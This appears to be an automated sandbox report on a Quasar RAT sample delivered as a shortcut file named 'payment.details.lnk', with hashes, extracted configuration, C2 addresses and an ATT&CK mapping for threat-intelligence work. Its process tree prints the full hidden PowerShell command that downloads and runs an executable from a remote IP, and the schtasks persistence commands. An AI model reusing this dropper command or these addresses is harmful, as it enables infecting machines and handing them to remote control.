quasar | e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02/11/2024, 06:33

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General

Target
payment.details.lnk
Size 2KB
Sample241102-hbhbaaykhv
SHA256 e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00
MD5 04e779f16953e15b609dfab5be6ebd26
SHA1 d0e0b98da3f2ee3b0f8346d511436891380dd4f6
SHA512 4e1967297fb67949b14b16fe8f1d8292360b94602e9da4871476bd7bba84c2cc013bc1b1cedff029c8b01b81f357657919cddcc030ad783a4e61a8db2e5b564b
MD5 SHA1 SHA512

Score

10^/10

quasar vtroy discovery execution spyware trojan

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe

Extracted

Family

quasar

Version

1.3.0.0

Botnet

VTROY

31.13.224.12:61512
31.13.224.13:61513

Mutex

QSR_MUTEX_4Q2rJqiVyC7hohzbjx

Attributes

encryption_key
7Vp2dMCHrMjJthQ2Elyy
install_name
downloads.exe
log_directory
Logs
reconnect_delay
5000
startup_key
cssrse.exe
subdirectory
downloadupdates

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/1264-28-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4484	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4484	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 8 IoCs

pid	Process
1144	ajtjewc.exe
1264	ajtjewc.exe
2440	ajtjewc.exe
4460	ajtjewc.exe
3452	downloads.exe
2224	downloads.exe
4392	downloads.exe
1776	downloads.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 1144 set thread context of 1264	1144	ajtjewc.exe	90
PID 1144 set thread context of 2440	1144	ajtjewc.exe	91
PID 1144 set thread context of 4460	1144	ajtjewc.exe	92
PID 3452 set thread context of 2224	3452	downloads.exe	100
PID 3452 set thread context of 4392	3452	downloads.exe	101
PID 3452 set thread context of 1776	3452	downloads.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4764	1776	WerFault.exe	102

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2164	schtasks.exe
3100	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4484	powershell.exe
4484	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	1144	ajtjewc.exe
Token: SeDebugPrivilege	1264	ajtjewc.exe
Token: SeDebugPrivilege	3452	downloads.exe
Token: SeDebugPrivilege	2224	downloads.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
1776	downloads.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 4828 wrote to memory of 4484	4828	cmd.exe	85
PID 4828 wrote to memory of 4484	4828	cmd.exe	85
PID 4484 wrote to memory of 1144	4484	powershell.exe	89
PID 4484 wrote to memory of 1144	4484	powershell.exe	89
PID 4484 wrote to memory of 1144	4484	powershell.exe	89
PID 1144 wrote to memory of 1264	1144	ajtjewc.exe	90
PID 1144 wrote to memory of 1264	1144	ajtjewc.exe	90
PID 1144 wrote to memory of 1264	1144	ajtjewc.exe	90
PID 1144 wrote to memory of 1264	1144	ajtjewc.exe	90
PID 1144 wrote to memory of 1264	1144	ajtjewc.exe	90
PID 1144 wrote to memory of 1264	1144	ajtjewc.exe	90
PID 1144 wrote to memory of 1264	1144	ajtjewc.exe	90
PID 1144 wrote to memory of 1264	1144	ajtjewc.exe	90
PID 1144 wrote to memory of 2440	1144	ajtjewc.exe	91
PID 1144 wrote to memory of 2440	1144	ajtjewc.exe	91
PID 1144 wrote to memory of 2440	1144	ajtjewc.exe	91
PID 1144 wrote to memory of 2440	1144	ajtjewc.exe	91
PID 1144 wrote to memory of 2440	1144	ajtjewc.exe	91
PID 1144 wrote to memory of 2440	1144	ajtjewc.exe	91
PID 1144 wrote to memory of 2440	1144	ajtjewc.exe	91
PID 1144 wrote to memory of 2440	1144	ajtjewc.exe	91
PID 1144 wrote to memory of 4460	1144	ajtjewc.exe	92
PID 1144 wrote to memory of 4460	1144	ajtjewc.exe	92
PID 1144 wrote to memory of 4460	1144	ajtjewc.exe	92
PID 1144 wrote to memory of 4460	1144	ajtjewc.exe	92
PID 1144 wrote to memory of 4460	1144	ajtjewc.exe	92
PID 1144 wrote to memory of 4460	1144	ajtjewc.exe	92
PID 1144 wrote to memory of 4460	1144	ajtjewc.exe	92
PID 1144 wrote to memory of 4460	1144	ajtjewc.exe	92
PID 1264 wrote to memory of 2164	1264	ajtjewc.exe	97
PID 1264 wrote to memory of 2164	1264	ajtjewc.exe	97
PID 1264 wrote to memory of 2164	1264	ajtjewc.exe	97
PID 1264 wrote to memory of 3452	1264	ajtjewc.exe	99
PID 1264 wrote to memory of 3452	1264	ajtjewc.exe	99
PID 1264 wrote to memory of 3452	1264	ajtjewc.exe	99
PID 3452 wrote to memory of 2224	3452	downloads.exe	100
PID 3452 wrote to memory of 2224	3452	downloads.exe	100
PID 3452 wrote to memory of 2224	3452	downloads.exe	100
PID 3452 wrote to memory of 2224	3452	downloads.exe	100
PID 3452 wrote to memory of 2224	3452	downloads.exe	100
PID 3452 wrote to memory of 2224	3452	downloads.exe	100
PID 3452 wrote to memory of 2224	3452	downloads.exe	100
PID 3452 wrote to memory of 2224	3452	downloads.exe	100
PID 3452 wrote to memory of 4392	3452	downloads.exe	101
PID 3452 wrote to memory of 4392	3452	downloads.exe	101
PID 3452 wrote to memory of 4392	3452	downloads.exe	101
PID 3452 wrote to memory of 4392	3452	downloads.exe	101
PID 3452 wrote to memory of 4392	3452	downloads.exe	101
PID 3452 wrote to memory of 4392	3452	downloads.exe	101
PID 3452 wrote to memory of 4392	3452	downloads.exe	101
PID 3452 wrote to memory of 4392	3452	downloads.exe	101
PID 3452 wrote to memory of 1776	3452	downloads.exe	102
PID 3452 wrote to memory of 1776	3452	downloads.exe	102
PID 3452 wrote to memory of 1776	3452	downloads.exe	102
PID 3452 wrote to memory of 1776	3452	downloads.exe	102
PID 3452 wrote to memory of 1776	3452	downloads.exe	102
PID 3452 wrote to memory of 1776	3452	downloads.exe	102
PID 3452 wrote to memory of 1776	3452	downloads.exe	102
PID 3452 wrote to memory of 1776	3452	downloads.exe	102
PID 2224 wrote to memory of 3100	2224	downloads.exe	107
PID 2224 wrote to memory of 3100	2224	downloads.exe	107
PID 2224 wrote to memory of 3100	2224	downloads.exe	107

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\payment.details.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe','ajtjewc.exe');./'ajtjewc.exe';(get-item 'ajtjewc.exe').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
    "C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1264
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe" /rl HIGHEST /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2164
    - - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3452
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2224
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe" /rl HIGHEST /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3100
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4392
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        Suspicious use of UnmapMainImage
        
        PID:1776
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1776 -s 12
        7⤵
        Program crash
        
        PID:4764
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2440
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1776 -ip 1776
1⤵
PID:4380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

ajtjewc.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ajtjewc.exe.log
Size 522B
SHA256 ea16b63ffd431ebf658b903710b6b3a9b8a2eb6814eee3a53b707a342780315d
MD5 0f39d6b9afc039d81ff31f65cbf76826
SHA1 8356d04fe7bba2695d59b6caf5c59f58f3e1a6d8
SHA512 5bad54adb2e32717ef6275f49e2f101dd7e2011c9be14a32e5c29051e8a3f608cbd0b44ac4855ab21e790cb7a5d84c5f69de087074fd01b35259d34d07f5aaf9
MD5 SHA1 SHA512

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__PSScriptPolicyTest_bncjkdqo.aa4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bncjkdqo.aa4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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ajtjewc.exe

Path C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
Size 774KB
SHA256 3df20b1c9806c327d72824f1b9a4ffcbe702d152fbf11fca42a36c862cbafd0a
MD5 b8fc2efcc33d3160f38fcb6b39319e6a
SHA1 a61413a5b6c19b4a388e6c89aaa9304c657b3e08
SHA512 ba4ef7ec5dd7b9ad8ec49ef73315bded8ecc72212b11e3a1384b6d4f3f264867312cda41268a8d1df6fc8c3caa63813c15aa4ff29f0324360a95d59de3456d3b
SSDEEP 24576:XBx+Lv/QRiHCywDv2JIh7tJIYZFk+XJJ:xeXBm2JIDJNDXJ
MD5 SHA1 SHA512 SSDEEP

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memory/1144-25-0x0000000000FB0000-0x000000000107A000-memory.dmp

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memory/1144-27-0x0000000005C40000-0x0000000005CDC000-memory.dmp

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memory/1144-26-0x0000000007F20000-0x000000000800E000-memory.dmp

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memory/1264-36-0x0000000005D10000-0x00000000062B4000-memory.dmp

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memory/1264-28-0x0000000000400000-0x000000000045E000-memory.dmp

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memory/1264-37-0x0000000005820000-0x00000000058B2000-memory.dmp

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memory/1264-39-0x0000000006660000-0x0000000006672000-memory.dmp

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memory/1264-40-0x0000000006CE0000-0x0000000006D1C000-memory.dmp

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memory/2224-53-0x0000000006F10000-0x0000000006F1A000-memory.dmp

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memory/2440-38-0x0000000004F40000-0x0000000004FA6000-memory.dmp

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memory/4484-24-0x00007FFD0BD50000-0x00007FFD0C811000-memory.dmp

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memory/4484-14-0x00007FFD0BD50000-0x00007FFD0C811000-memory.dmp

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memory/4484-13-0x00007FFD0BD50000-0x00007FFD0C811000-memory.dmp

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memory/4484-12-0x00000204F0A30000-0x00000204F0A52000-memory.dmp

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memory/4484-2-0x00007FFD0BD53000-0x00007FFD0BD55000-memory.dmp

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